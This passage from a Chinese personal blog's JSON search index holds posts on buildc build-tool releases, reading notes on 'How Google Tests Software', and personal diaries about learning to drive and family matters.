\u0026ldquo;fooB\u0026rdquo;\n}\n]\n不过问题并没有彻底解决。A工程的构建结果是一个.a文件，按照原buildc处理流程，该.a文件会被放入安装包中的app目录下，但这不是我们想要 的，.a文件是不应该放入安装包的。与此同时，一些子工程的输出是.so文件，按照最初的规划，这些.so文件应该被放入deps目录，而原buildc 默认都是放在app目录下。为了解决这个问题，我们给source做了\u0026quot;属性扩容\u0026quot; – 增加了一个可选的pack_path字段。\nsource = [\n{\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/A\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : \u0026ldquo;fooA\u0026rdquo;\n\u0026ldquo;pack_path\u0026rdquo; : \u0026quot;\u0026quot;\n},\n{\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/B\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : \u0026ldquo;fooB\u0026rdquo;\n},\n{\n\u0026ldquo;trunk\u0026rdquo; : \u0026ldquo;svn://10.10.15.56:4444/cn/trunk/C\u0026rdquo;,\n\u0026ldquo;binary_prefix\u0026rdquo; : \u0026ldquo;fooC\u0026rdquo;\n\u0026ldquo;pack_path\u0026rdquo; : \u0026ldquo;deps\u0026rdquo;\n}\n]\n这个示例中，A工程pack_path的值为\u0026quot;\u0026quot;，buildc将忽略A工程的输出文件，B工程没有配置pack_path，则buildc默认将B工程 的输出文件放入app目录；而C工程明确为pack_path赋了值，buildc会将C工程输出文件放入deps目录。\nbuildc原本支持在命令行输入工程源码库地址(–tag=YOUR_SOURCE_TAG)，现在依旧支持。一旦命令行指定了工程地 址，buildc将不会理睬setup.cfg中source中配置的各个源码库路径，将从命令行指定的工程地址处取得最新源码，但暂无法指定 pack_path，默认会将构建结果放入app目录。\n2、打包时自动生成VERSION文件\nbuildc在执行pack build后，自动在安装包中生成一个VERSION文件。该文件中包含与安装包匹配的平台信息(包括CPU体系、OS类型等)以及构建时的一些版本信 息。该文件除了便于安装包使用人员查看安装包相关版本信息之外，还可以用作安装包在目标平台进行约束检测的依据。如果你的安装包是for x86-64 linux的，那么宕操作人员误将该安装包部署到Solaris 10 for sparc平台时，安装包中的deps_check.py脚本会比对当前平台信息与VERSION文件中携带的信息，发现不匹配，则报错并停止程序的安 装。\n3、其他\n该版本buildc还提供了一些脚本的详细示例，如env_gen.py、deps_check.py。另外从Make.rules.in模板中去除了硬编码的-D_DEBUG定义。\n","permalink":"https://tonybai.com/2012/07/19/buildc-0-1-9-release/","summary":"\u003cp\u003e随着\u003ca href=\"http://code.google.com/p/buildc\"\u003ebuildc\u003c/a\u003e使用的深入，越来越多的新需求暴露了出来。为了满足这些需求，我们组的小兄弟又对buildc进行了一些改造，这些变化如下：\u003c/p\u003e\n\u003cp\u003e1、支持将多个子工程打包到一个安装包中\u003c/p\u003e\n\u003cp\u003e最初\u003ca href=\"http://tonybai.com/2012/02/10/add-packing-feature-to-buildc/\"\u003ebuildc\u003c/a\u003e的设计思想是为每个子工程单独制作安装包，这样具有很强的灵活性。但在对现有N个工程进行构建脚本改造的过程中发现，有些工程间存在严重 依赖，比如工程A是一个业务级公共库工程，工程B和工程C都依赖工程A构建后生成的静态共享库。而工程A又无法被当成第三方库处理，这给我们的安装包构建 制造了难题。我们的解决方法就是改造安装包工程的setup.cfg文件，让其支持多source。从正规语义上来讲，我们这么做将使得buildc支持 将多个子工程打包到一个安装包中，而间接的作用则是解决了上述有依赖关系的工程安装包制作的问题，虽然看起来不那么美。\u003c/p\u003e","title":"buildc 0.1.9版本发布"},{"content":"一直对Google这个牛X公司的内部开发过程很是感兴趣，毕竟像Google Search Engine、Google云计算平台这些伟大产品都是在这个开发过程下缔造出来的。但也许是Google保密工作做的很好，或许人家不是刻意保密，只是 因为工作太忙或人员太低调，没空派人出来宣讲罢了。外界对Google内部的开发流程知之甚少；知道一些，诸如20%项目，也只是皮毛。\n终于有一天，Google的三位工程师冒了出来，为我们带来的了一本名为《How Google Tests Software》的小书。我断断续续用了不到一周时间粗略地浏览了一遍这本书，算是对神秘的Google内部开发过程有了初步的了解了。其中有一些思路 还真是值得我后续深入思考，这里仅列出一些让我心有所触的\u0026quot;点\u0026quot;，与大家共享。\n书是从Test角度展开的，但Google的Test与我们所熟知的Test还有不同，包括这个过程的角色设置与职责等。下面是从书中摘录的一些语句(有些地方是我总结后的)和观点，再加上我的一些体会。\n1、在Google，Software Testing被称作\u0026quot;Engineering Productivity(工程效率)\u0026quot;，既负责开发和测试工具的开发、发布工程，还负责从单元测试(unit level)到探索性测试(exploratory testing)的全过程。\n— 在国内，多数公司的Testers只负责测试过程，而且多从功能测试开始，Unit test是开发人员的责任。大部分公司的开发与测试工具都是开发人员设计和实现的，但也有少部分先进的公司有专职的测试工具开发岗。总体来 说，Google内部的\u0026quot;测试人员\u0026quot;角色是与众不同的。\n2、\u0026ldquo;Quality is a development issue, not a testing issue\u0026rdquo;、\n\u0026ldquo;At Google, this is exactly our goal: to merge development and testing so that you cannot do one without the other. Build a little and then test it. Build some more and test some more. \u0026quot; 、\n\u0026ldquo;The reason Google can get by with so few dedicated testers is because developers own quality.If a product breaks in the field, the first point of escalation is the developer who created the problem, not the tester who didn\u0026rsquo;t catch it.\u0026rdquo;\n\u0026ldquo;Testing must be an unavoidable aspect of development, and the marriage of development and testing is where quality is achieved.\u0026rdquo;\n— 可以看出Google信奉：\u0026ldquo;Developer是质量的owner，是第一责任人；质量应该由开发人员把关；测试是开发过程必不可少的一方面；将开发与 测试融合在一起以获取更高的质量；开发一些，测试一些(迭代的思想)\u0026quot;。而国内多数组织依旧信奉着测试是软件质量的最后保证这一信条，将开发和测试隔离的 很开。\n3、Google内部开发测试过程的三个角色：software engineer (SWE) 、software engineer in test (SET)和 test engineer (TE)，Google SWEs are feature developers. Google SETs are test developers. Google TEs are user developers.\n— 在Google，似乎没有纯粹的传统意义上的Testers，按照书中所讲，SWE肯定是开发工程师，负责实现产品功能(feature)，而SET，其 实也是开发工程师，用于编写产品的测试Feature，关于测试Feature这个概念很独特，Google认为，产品应该有两种Feature属性，一 种是function feature，一种则是产品的test feature，而SWE和SET则分别focus这两点。SWE和SET共享同一代码库，是开发过程中的Partner。与SWE关注功能 feature不同，SET更加关注产品的可测试性、如何通过测试提升产品质量以及提升测试覆盖率以及产品性能。他们为产品的feature编写测试代 码，从单元测试到后续的各种测试，编写各种工具，并尽量的将测试自动化，提升测试效率。\n而TE这个角色则有些类似传统的Testers，但在Google也有不同。在Google，TE更多是从user角度去探索产品，有的TE会编写大量脚 本代码，模拟user使用产品的各种场景；按照书中的说法：\u0026ldquo;TEs are product experts, quality advisers, and analyzers of risk\u0026rdquo;。\n4、One of the key ways Google achieves good results with fewer testers than many companies is that we rarely attempt to ship a large set of features at once.\n— 显然Google也倾向于增量的迭代开发，这种模式符合Google内部的role设置，同时，这种role设置也更好地促进了增量迭代开发的顺利高效开展。\n5、Build the core of a product and release it the moment it is useful to as large a crowd as feasible, and then get their feedback and iterate. This is what we did with Gmail, a product that kept its beta tag for four years.\nGoogle often builds the minimum useful product as an initial version and then quickly iterates successive versions allowing for internal and user feedback and careful consideration of quality with every small step. Products proceed through canary, development, testing, beta, and release channels before making it to users.\n— 这似乎就是Google著名的\u0026quot;Beta\u0026quot;模式，目前很多互联网企业(特别是startup)均效仿之。\n6、Instead of distinguishing between code, integration, and system testing, Google uses the language of small, medium, and large tests, emphasizing scope over form.\nSmall tests cover a single unit of code in a completely faked environment. Medium tests cover multiple and interacting units of code in a faked or real environment. Large tests cover any number of units of code in the actual production environment with real and not faked resources.\nThe general rule of thumb is to start with a rule of 70/20/10: 70 percent of tests should be small, 20 percent medium,\nand 10 percent large.\n— Google内部的测试不是按照代码单元测试、集成测试以及系统测试这些典型的阶段划分的，而是用\u0026quot;small、medium、large、 enormous\u0026quot;这些词汇来描述测试的各个环节，这些词汇也是Google内部的\u0026quot;共同语言\u0026rdquo;。如何界定这些测试的scope呢？Google内部有一 套共享的测试执行系统，它通过test size来界定不同的test类型。比如：对small tests的要求是每方法(method)的测试执行时间不能超过100ms，如果1分钟仍然执行不完，则将被kill掉。\n7、Keeping it simple and uniform is a specific goal of the Google platform: a common Linux distribution for engineering workstations and production deployment machines; a centrally managed set of common, core libraries; a common source,\nbuild, and test infrastructure; a single compiler for each core programming language; language independent, common build specification; and a culture that respects and rewards the maintenance of these shared resources.\n— 在Google内部一切都是\u0026quot;整齐划一\u0026quot;的，大大降低了各种人员在熟悉、学习和使用过程中的工作量。可以看出，Google为了提升内部开发效率，真是无 所不用其极啊。另外Google内部这套完整的强大的基础设施工具、库、语言以及流程支撑想必也让大家垂涎三尺吧。\n8、There is no set rule at Google for when SETs engage in a project, as there are no set rules for establishing when projects become “real.” A common scenario for new project creation is that some informal 20 percent effort takes a life of its own as an actual Google-branded product. Gmail and Chrome OS are both projects that started out as ideas that were not formally sanctioned by Google but overtime grew into shipping products with teams of developers and testers working on them.\nNo project gets testing resources as some right of its existence. The onus is on the development teams to solicit help from testers and convince them that their project is exciting and full of potential.\n— 这两段话既描述了SETs进入项目的时机，同时也从侧面反映出了Google内部产品的初期形成机制。在这种机制下，一些著名产品诸如Gmail、 Chrome等诞生了。个人很是认同这种自底向上的产品\u0026quot;产生机制\u0026rdquo;，有利于员工创造力的充分展现。其实退一步来说，我们不一定非要公司明确规定设置 20%个人时间，只是我们在平时工作中主动去发现、去分析、思考和总结，我们一样可以\u0026quot;创造\u0026quot;出一些用于改善我们工作和生活的工具或产品，这些\u0026quot;成果\u0026quot;在 我们的日常工作中使用，逐渐被大家所接受，甚至于发展演化成熟，形成一个可盈利的产品或是贡献给开源社区，不是一样很好么。感觉国内的很多互联网公司里面 的一些同行正在做这些事情。\n9、This is the convention at Google: Make the common case fast.\n— 这显然已经上升到了哲学的层次，不仅对开发测试过程的效率改进有着指导意义，对软件自身的调优也是一样富有价值。甚至于对我们的日常生活也是有帮助的。\n10、Designs that seek to automate everything end-to-end all in one master test suite are generally a mistake. The larger an automation effort is, the harder it is to maintain and the more brittle it becomes as the system evolves. It’s the smaller, more special purpose automation that creates useful infrastructure and that attracts the most SWEs to write tests.\nOverinvesting in end-to-end automation often ties you to a product’s specific design.\n– 这又是Google内部对自动化测试的一种中肯的实用的理解。我们要自动化，但要掌握方法，不要大而全，要小且精，吸引SWE自己去写测试代码。过分追求全闭环的自动化测试会将你与一个产品的细节间建立依赖。\n11、Google centers its development process around code reviews. There is far more fanfare about reviewing code than there is about writing it.\nThese pre-submit rules cover simple things such as adherence to the Google coding style guide and more involved things such as ensuring that every existing test associated with the CL has been executed (the rule is that all tests must pass).\n— Google打造了一个以代码评审为中心的开发过程，建立了一套完整的日常开发流程以及评审流程。并通过一套完整的工具平台在代码提交评审前对代码进行各种自动化检查，让评审过程更加focus关键业务逻辑，而不是语法之类的细节。\n12、Test Runtime Requirements\n– Each test must be independent from other tests so that tests can be executed in any order.\n– Tests must not have any persistent side effects. They must leave their environment exactly in the state when it started.\n— 这里点明测试执行的原则：测试case间无依赖，可任意顺序执行；测试执行应遵循\u0026quot;童子军\u0026ldquo;纪律：测试执行结束后，将环境恢复到测试起始状态。\n13、带认证的测试(Test Certified)\n— Google内部建立了类似竞赛似的规则，对每个项目的测试水平进行认证，分为几个级别：从TC level1到TC level5。对于每个级别都有明确的指标，甚至是明确的达标数字，比如总测试覆盖率，各种类型(比如small)测试的覆盖率等。在每个项目的首页都会 看到该项目的认证级别。这种规则将促使项目SWE和SET不断地改善测试，来提升测试认证水平，间接地提升了产品的质量。\n","permalink":"https://tonybai.com/2012/07/10/read-how-google-tests-software/","summary":"\u003cp\u003e一直对Google这个牛X公司的内部开发过程很是感兴趣，毕竟像\u003ca href=\"http://www.google.com/\"\u003eGoogle Search Engine\u003c/a\u003e、\u003ca href=\"https://appengine.google.com/\"\u003eGoogle云计算平台\u003c/a\u003e这些伟大产品都是在这个开发过程下缔造出来的。但也许是Google保密工作做的很好，或许人家不是刻意保密，只是 因为工作太忙或人员太低调，没空派人出来宣讲罢了。外界对Google内部的开发流程知之甚少；知道一些，诸如20%项目，也只是皮毛。\u003c/p\u003e","title":"读《How Google Tests Software》"},{"content":"buildc这个小工具逐渐在项目组内部扩大了使用范围，还有一名专门的同事负责为每个项目制作安装包工程，这样也可以在使用中发现buildc的问题。\n本次buildc 0.1.8的相关修正以及新增的feature就是我的这位年轻同事一手操刀完成的，他也是一个python新手，同样也是边翻手册边进行编码的。这次改动主要集中在templates目录下的几个文件，这里的文件多为因工程的不同而异的。\n这次buildc主要的功能点改动如下：\n1、删除Make.rules模板中的FOPTIMIZE变量\n原先在模板中将FOPTIMIZE变量的值写死为o2。但在实际应用中，不是所有项目都会使用o2优化级别，通过在buildc.cfg中自定义变量也可以达到同样的效果，因此这里删除了该变量。\n2、为setup.py.in增加了backup功能、log facility等\nsetup.py.in这个文件改动较大，主要包括：\n- 在setup.py.in这个安装包模板中增加了backup命令，用于将目标服务器上运行的老版本应用环境进行打包备份处理。该命令支持两个参数all和conf，分别用于备份打包全部环境和打包配置文件目录；\n- 将setup.py中原install命令的参数full改为\u0026rsquo;all\u0026rsquo;；\n- 为setup.py的执行过程增加了log facility，可以在\u0026quot;install_时间戳.log\u0026quot;中看到所有详细的安装过程；\n- 当目标路径存在与安装包要安装的文件同名的文件时，setup.py.in会自动生成这两个同名文件的diff，供安装人员后续手动进行冲突解决。\n3、提供一个deps_check.py的更为详尽的参考实现\ndeps_check.py是用于在目标环境进行环境约束检测的，十分必要。\n","permalink":"https://tonybai.com/2012/07/02/buildc-0-1-8-release/","summary":"\u003cp\u003e\u003ca href=\"http://code.google.com/p/buildc/\"\u003ebuildc\u003c/a\u003e这个小工具逐渐在项目组内部扩大了使用范围，还有一名专门的同事负责为每个项目制作\u003ca href=\"http://tonybai.com/2012/02/10/add-packing-feature-to-buildc/\"\u003e安装包\u003c/a\u003e工程，这样也可以在使用中发现buildc的问题。\u003c/p\u003e\n\u003cp\u003e本次\u003ca href=\"http://buildc.googlecode.com/files/buildc-0.1.8.tar.gz\"\u003ebuildc 0.1.8\u003c/a\u003e的相关修正以及新增的feature就是我的这位年轻同事一手操刀完成的，他也是一个python新手，同样也是边翻手册边进行编码的。这次改动主要集中在templates目录下的几个文件，这里的文件多为因工程的不同而异的。\u003c/p\u003e","title":"buildc 0.1.8版本发布"},{"content":"不知不觉我的车的总里程表上的数字已经达到了1029公里了，我的\u0026quot;驾龄\u0026quot;也马上要到一个月了^_^，这里谈谈驾车感受，备忘一下。\n1、总体感受：累！\n车是不开不知道，一开真叫累啊。特别是在一二线城市开车上下班，短程的还好，路程稍长的，像我这样上下班来回50公里，那真是累啊。\n累的原因之一首先就是堵车。像东北这地，每年冬天是无法修路的，一到春夏，各路工程纷纷上马 – \u0026ldquo;要修一起修\u0026rdquo;，这样一来，痛苦的就是开车上班族了：每天回家就那几条必经之路，堵也得硬着头皮往上冲。我这每天都要上二环，每天上的时候都要和周围大车 (市内不让走大车，因此大车都上二环) – 什么水泥车、大挂车、大货车等进行\u0026quot;斗争\u0026quot;，说实话，挺恐怖的，稍有不慎就会出现刮碰；\n累的原因之二 – \u0026ldquo;路斗\u0026rdquo;。中国的驾校培养出来的驾驶员都是什么样大家心知肚明，包括我在内，实际上都是不合格产品，因此马路上你就要格外小心，随时提防急刹、突然并道 (不大转向)、信号灯前急速夹塞等\u0026quot;常见\u0026quot;行为；另外行人、电动车也同样\u0026quot;不甘落后\u0026quot; – 横穿马路、闯红灯等行为那是屡见不鲜，越是路况好的道路，越是要提防行人和电动车的突然杀出。\n原因之三 – 停车难、停车贵。中国的停车位的发展速度远远不及车辆增长的速度。因此可想而知，找个车位是多么的难，每天到家时都要在小区周围\u0026quot;逛一逛\u0026quot;，试图找到一个 合适的车位；实在没有了，就只能侥幸的停在路边，心里暗自祈祷明早不要看到罚单。第二天早早出来将车开走，否则等警察叔叔出来，200元就没了。公司停车 位也越来越不宽裕了，还好我每天来的早，地下车库车位可随意挑。如果有事来晚了，那只能在马路边放车了。\n有了车，出行本来应该方便的，但现在每次出去逛街之前，我都要研究一下目的地哪块儿好停车，先找好路线。商业区停车是很贵的，地上还好，按次收费，一 般\u0026lt;=5元；商场或购物中心的地下车位是计时收费，1小时5元，成本很高啊。因此每次能找免费找免费，找不到就尽量地上停，这一过程也挺累。\n2、对车的感觉\n以前也没长期开过什么车，因此也不好做什么对比。新速腾整体来说让我很满意：性能不差，只要给油，起步也不是那么慢；3、4档加速很有力；油耗低，目前我 的表2平均油耗显示为6.4L/100km(我一般都是2000转换档，1档到2档也是如此)；最近一次加油200元，行驶了380多公里，大约7.2L /100km；这期间有些时候早晚都让LP开，LP一般用\u0026quot;3档龟速行驶，每信号灯必等\u0026quot;的开车法，油耗肯定升高；空调凉的很快(最大功率时)，但打开空 调后，对车动力是有不小影响的，毕竟是1.6的排量。车很稳，刹车也不赖；日间行车灯绝对是必要的，对行车安全很有帮助。\n要说不足也有一些，比如大众的车门即使锁上了，也可以从内部打开，孩子在车上时务必要小心；刹车到车停下那一刻似乎有些小异响；悬挂感觉有些硬，舒适性没有想象的那么好，尤其是路况差时。\n3、驾驶技术\n开了1000公里，感觉自己还是有进步的，比如油离配合比之前更熟练，也更快速；起步基本不熄火了(起步时稍给点油)；每天上二环坡起也不那么紧张了，近期也很少熄火和溜车了；高峰期低速跟车也比以前更加熟练了(车距保持恒定)等等。\n但新手毕竟是新手，目前个人感觉还有很多方面值得改进，比如倒库，路两旁的\u0026quot;非字形\u0026quot;车位我现在基本可以顺利倒入了，但\u0026quot;一字型\u0026quot;车位我还是没掌握要领，有两次轮胎都轻轻蹭到了马路丫子，还好不严重；另外降档依旧不得要领。尤其是4降3依旧操纵的不好，有时还有明显顿挫。\n另外有一条经验教训：下地库时务必带档下，否则没有了发动机制动的车就像在冰上溜一下，速度很快，凶险万分啊；建议挂一档下，二档的发动机制动力对于比较陡的地库来说也有不足。\n","permalink":"https://tonybai.com/2012/06/21/some-feeling-after-driving-for-1000km/","summary":"\u003cp\u003e不知不觉我的车的总里程表上的数字已经达到了1029公里了，我的\u0026quot;驾龄\u0026quot;也马上要到一个月了^_^，这里谈谈驾车感受，备忘一下。\u003c/p\u003e","title":"1000公里驾车感受"},{"content":"上周六是六一儿童节过后的第一个周末，由于六一是工作日，没能带果果出去玩，因此周六我和LP一起带果果到太原街购物游玩。\n早就听到天气预报说沈城会有雷阵雨，不过早上的天气还是蛮好的，不是很热，于是乎也没有太在意，只是带了简单的雨具。\n也许是受到天气预报的影响，商业中心区居然也能很顺利找到停车位，一切安顿好后，就带着果果直奔商场。逛街顺序与往常没啥两样，先购 物，再带果果到商场楼上的儿童娱乐城玩。下午1点半左右玩累了，就在商场里的美食城饱餐了一顿。午饭过后，果果似乎有些累了，也到小家伙 的午睡时间了，于是就把果果抱到商场的\u0026quot;母婴室\u0026quot;睡觉，小家伙果然是困了，路上就已经呼呼开睡了。LP在母婴室看着果果睡觉，我趁机到楼 下的超市买些食品。\n果果这一睡不要紧，外面的天气骤变，黑压压的乌云滚滚而来，电闪雷鸣，大雨倾盆而下。母婴室的小孩儿较多，一个小孩子醒来哭闹，其他小 孩子也都被吵醒了，因此果果总共也没睡上一个小时就醒了。本打算带果果回家，但此时外面暴雨倾盆，我们只带了一把伞，况且这么大雨行车也 不安全，于是乎我们选择了等待。\n果果似乎对外面的情况并不知情，小家伙在儿童区玩的很开心。又过去一个小时，我和LP都有些着急了。于是又来到商场门口查看外面天气情 况。一个小时的急降雨，让商场正面的马路成了一片汪洋，几乎看不到什么车辆，只是有几个高档豪车仗着自己性能优越，在水中缓慢跋涉。此情 此景让LP越发着急，不断催促我想办法回家。在LP的不断催促下，我也有些不耐烦了，于是乎拿着伞出去取车，试想着从侧门接LP和果果上 车。事实上这个决定差点铸成大错，事后想起来还有些后怕。\n我打伞出去时，雨势似乎不大。车停在离商场北面大月300米的露天停车场里，但当我接近停车场时雨势不知怎么地突然变大，目测应该是大 暴雨程度。进到车内，从车窗向外看，视距也就2-3米，而且只能看到前面，两个后视镜以及后玻璃在这么大的雨情下已经基本无法使用了。将 车龟速开出停车场。由于雨太大，根本看不清道路以及路牌标志，马路上的车都是龟速，打着双闪，另外不时能看到车辆刮碰的情况。我是第一次 开车到这个地方，路十分不熟悉，结果两次走错路，那时也顾不上什么交通规则了，看到没车，就调头往回走。这时车窗车顶响起了硬物撞击声， 冰雹！我的心一下凉了。这次我的车看来再劫难逃了，坐在车里那个心疼啊，我提车没到两周呢:(。\n事实上更惊险的事情还在后面呢！刚将车开到正确的大街上，我立马后悔了，这哪里是大街啊，这就是大海啊。这条街中间有护栏，调头是不可 能的了。后面的车排成了长队，也没法倒车，只能硬着头皮往前龟速行驶。中间看了很多车停在水里不动了，不知道是发动机进水了，还是司机故 意不走了，那场面简直就像是《后天》里的末日景象。我的心都提到嗓子眼了，生怕发动机进水熄火，那车的彻底废了。终于看到前面有一个路 口，右侧的一个小路上积水不深，很多车都右转上岸，我赶紧打方向跟进！终于上岸了！我长出了一口气，路旁恰好有一个空位，立马过去将车停 住！谢天谢地啊，发动机终于算是保住了！但不知冰雹是否给车留下痕迹，由于光线太暗，根本开不清车的外观是否有损伤，只能第二天观察了。\n这时雨势减小了，我下车又回到了商场。和LP、果果在商场选择继续等待。果果出来时没穿太多衣服，玩了一天，小家伙看起来也很疲倦。此 时外面的雨势虽然已经小了，甚至是停了。但考虑到路上的深深的积水，特别是回家的途中还要经过一座地道桥，我们选择等等再出去。先到美食 城吃点东西，补充一下热量吧，别感冒了。\n40分钟后，我们离开了商场，回到车内，起车回家。但回家之路又谈何容易！沈阳站铁道桥洞东西方向已经成了停车场，那车龙一眼望不到 边。原本半分钟的路，我们走了能有1个小时。期间又下起了大雨。雨滴打在车上的声音很大，担心果果受惊吓。于是不断和果果聊天。这也是我 第一次夜间行车，之前我连大灯都没开过，现打开车辆手册翻看如何打开大灯。好不容易挤到十字路口，在交警同志的指挥下，终于上了大道。到 家时，已经8点半了，惊魂行车之旅终于结束了。\n按我LP的话说，经过这次艰难行车，我已经从新手成长为成手了^_^。\n","permalink":"https://tonybai.com/2012/06/04/drive-in-rainstorm/","summary":"\u003cp\u003e上周六是六一儿童节过后的第一个周末，由于六一是工作日，没能带果果出去玩，因此周六我和LP一起带果果到太原街购物游玩。\u003c/p\u003e\n\u003cp\u003e早就听到天气预报说沈城会有雷阵雨，不过早上的天气还是蛮好的，不是很热，于是乎也没有太在意，只是带了简单的雨具。\u003c/p\u003e","title":"暴雨·冰雹·涉水·夜路·堵车·行车记"},{"content":"一直以来我都不是特别喜欢开车，因为平时喜欢思考，每天坐在公司的班车上可以有大把的思考时间，另外在高速行驶的车上，感觉思维也变得更加\u0026quot;敏捷\u0026quot;，但如果自己开车，这一切就不复存在了，因为你要集中精力应付马路上那绵长的\u0026quot;车水马龙\u0026quot;，还要躲避\u0026quot;玩命\u0026quot;穿马路的行人以及像我这样的新手开的新车^_^。\n不过有了孩子后，没有自己的车实在算不上方便，特别是在工作日如果孩子打个预防针，或平时出去玩，打车是件很费力的事情。孩子越来越大，也越来越重，挤公交我和LP都快抱不动了，再加上后续接送孩子上幼儿园，有一辆自己的车确实方便，于是今年我们就把买车列入家庭计划。\n0、选车与买车\n从去年年中我们就开始看车，可看来看去始终都没有如意车型(预算范围内)，LP是一汽大众神车党的粉丝，因此她就想买一汽大众的车，但当时在我们的选车范围内，宝来没看中，老速腾太难看，于是就准备等新速腾，在网上看到美国上市的新速腾(美国叫捷达NCS)外观很漂亮。等了半年多，今年3月7日2012款全新速腾终于上市了，我和LP迫不及待地到4S店看车(我家所住的小区离4S店仅30米直线距离，十分方便哦^_^)，第一眼就十分喜欢。但网上说新速腾简配严重，我们也有些犹豫。3月25日，这边有一个小型车展会，新速腾有1000元装饰优惠，考虑到一汽大众的车一贯的价格坚挺，于是我们还是决定订车 – 新速腾1.6手动舒适版、雅士银、黑内饰。销售顾问告知最少等2月才能提车，我们当时也不怎么会开车(另外我LP的驾驶证尚未考下来)，因此也不在意晚点提车，就这样我们也成为了所谓的\u0026quot;神车党\u0026quot;一员。\n1、提车\n在等车的过程中，我和LP加紧找陪练上路学习(恰LP的驾照刚刚下来)，学了3次后，感觉心里有谱了，于是就开始催销售，希望尽快提车。催了两个星期后，5月23日终于可以提车了，掐指算来整整等了近两个月。于是当天8点我和LP就带上必要手续以及money到4S店提车。办各种税、保险以及车检、办牌照过程中都需要自己开车，虽然练过车，但毕竟手生，于是找来一个五年开车经验的同事陪同^_^，一来让他帮忙看看车是否有什么问题，二来就是充当司机角色^_^。\n提车过程大体如下：检车、交钱、装饰、交车。之后交购置税，到车管所上牌、办保险。车没检出啥问题(新车一般也都没啥问题)，装饰做了贴膜、更换底盘护板、倒车雷达(BS一汽大众，舒适版连倒车雷达都没有)、安装挡泥板等。由于是周三，交购置税的地方与车管所的人都不是特别多，所以下午2点左右就办完了所有手续。我和LP在网上自选的车牌，本以为这种方式选的车牌当天无法制作，但在登记处登记后，告知下午3点半后即可领车牌。不想在车管所多等，于是让4S店常驻车管所的一个小顾问帮忙领了车牌。回到4S店，洗车，让4S店的销售把车开到我所住小区的公共停车区，提车过程完毕。整个过程虽然顺利，但也把我们折腾的有些疲惫。不过毕竟提了新车，于是我们坐在车里，拿着手册做各种按钮的熟悉。\n2、第一次上路\n买车就是为了开的，总有第一次上路的时候，于是我决定第二天就开车上班。不过毕竟是新手，为了避免高峰期出行，我和LP早上六点就出门了。首先是我在LP的指挥下费了九牛二虎之力把车从停车区开出来，然后正式上路。新手第一次上路，又是手动档车，过程可想而知 – 无数次熄火、无数次被嘀。我先将LP送到公司(顺路)，再自己开到公司，单程20公里，中间过程十分凶险，特别是郊区大车甚多，险像还生啊，不过总体还算是顺利。算了一下从家出发到开到公司一共花了1个小时10分钟，我个人觉得开的有些快了，初次开车我总是看转速表，找换档时机，但忽略了速度表，有些时候车速都上到90了，回想起来有些心悸啊，这对磨合期的新车来说似乎也有一定损伤。\n一天工作不表，考虑到晚高峰路况更差，于是3点半就从公司开了出来。回程走纯市内道路，各种停车起步，又是无数次熄火外加档位没挂紧(车狂颤抖)。由于紧张，一不小心，略过了该拐的地方，只能硬着头皮，从最繁华的商业区里穿行了，途径环岛，铁路桥洞，调头，整个过程真是练手啊，不过结果还好，顺利地回到家，经过一顿打轮，将车正确地停在公共车位里。\n3、驾驶存在的问题\n一天多下来，感觉自己还有如下问题：\n挂档不熟练，特别是一档，有时候挂到4档里了，导致起步熄火；有时候挂成了倒档，很危险。\n减档时车有较大顿挫，现在想来可能主要是两个问题：首先，车速没降下来时，直接挂到低档位(伤车啊)；其次，挂到低档位后，离合抬的太快，尤其是挂到2档；\n转弯依旧不完美；\n倒车位基本没有概念，有待进一步熟悉。\n加档时油离配合欠默契 – 松离合时右脚没能及时踩油门踏板(稍搭上点即可)，导致车有些许顿挫感，尤其是低档位(1到2，2到3)换档时。\n有时候忘记放手刹^_^。\n4、些许体会\n从1档换到2档依然要在半离合点停顿一下再抬起，否则有顿挫；\n2档到3档以及后续换更高档位，离合可快松；\n我目前的换档时机：一档起步后，2000转换二档；20002500换三档，后续高档位也是20002500转时变换，这样操作瞬时油耗 6.5-7之间；\n降档时，转速表和速度表都要关注(这样有风险，当然熟练后就无需关注了，凭感觉)，如果任何一个表读数过高，可先挂空档过度，待读数下降到合理范围内，挂对应档位；我的感觉一般速度\u0026gt;40，4档；速度30~40挂3档；30以下2档；注意2档离合抬起时要在半离合点略微停顿一下；\n目前100多公里，平均油耗11多点，相信后续会有下降，我的目标8-9之间。\n目前对车长、车宽以及四个轮的位置还没啥感觉，待后期慢慢培养。\n由于精神过度紧张和集中，一开下来，到家就困，想睡觉。\n今天早上开车过来，全程居然没有熄火；另外我还顺利把车停到了公司地下停车位中，感觉有进步了^_^。\n","permalink":"https://tonybai.com/2012/05/25/new-sagitar-and-my-first-driving-experience/","summary":"\u003cp\u003e一直以来我都不是特别喜欢开车，因为平时喜欢思考，每天坐在公司的班车上可以有大把的思考时间，另外在高速行驶的车上，感觉思维也变得更加\u0026quot;敏捷\u0026quot;，但如果自己开车，这一切就不复存在了，因为你要集中精力应付马路上那绵长的\u0026quot;车水马龙\u0026quot;，还要躲避\u0026quot;玩命\u0026quot;穿马路的行人以及像我这样的新手开的新车^_^。\u003c/p\u003e","title":"新速腾提车与第一次上路"},{"content":"刚刚过去的这一周搞得我十分疲惫，起因是岳母生病了。\n果果自出生以来一直是岳母照顾，这个五一岳母将果果带回老家待了一周，也许是太过操劳导致旧病复发(腰椎肩盘轻微突出)，无法坚持照顾果果了。可这段时间 又恰逢我和我LP都很忙碌，但无奈身边没有亲戚，只能我请假待果果(LP那里集团领导检查，实在无法脱身)，还要照顾生病的岳母。本以为病两三天就能好 转，但观察两天后仍不见好转，于是我只能将母亲大人请来照顾果果，好抽身上班。万没想到，我母亲刚来一天多，居然也生病了，估计是上火所致(母亲大人十分 易上火，尤其是出远门)。于是乎又将母亲送回家里，这一顿折腾啊，转眼间5天过去了，终于盼到了周末，老婆也休息了，疲惫的我也可以缓缓了。\n躺在沙发上，闭目反思：像我和LP这样大学毕业后留在大城市的人有很多，父母亲属均不在身边，总会遇到各种困难，有些时候特别难，怎么办？只能勇于面对，依靠自己，不要抱怨，也不要退缩。\n这段时间一直没有更新博客，都长草了，今天顺便借这里嘀咕嘀咕这段时间发生的一些事情。\n1、《七周七语言》正式出版\n大上周收到了《七周七语言》的样书(3本)，甚是欣喜，不过样书没够分；又厚脸皮向出版社要了三本，还好出版社比较厚道，上周又寄来了三本，瞬间分光。 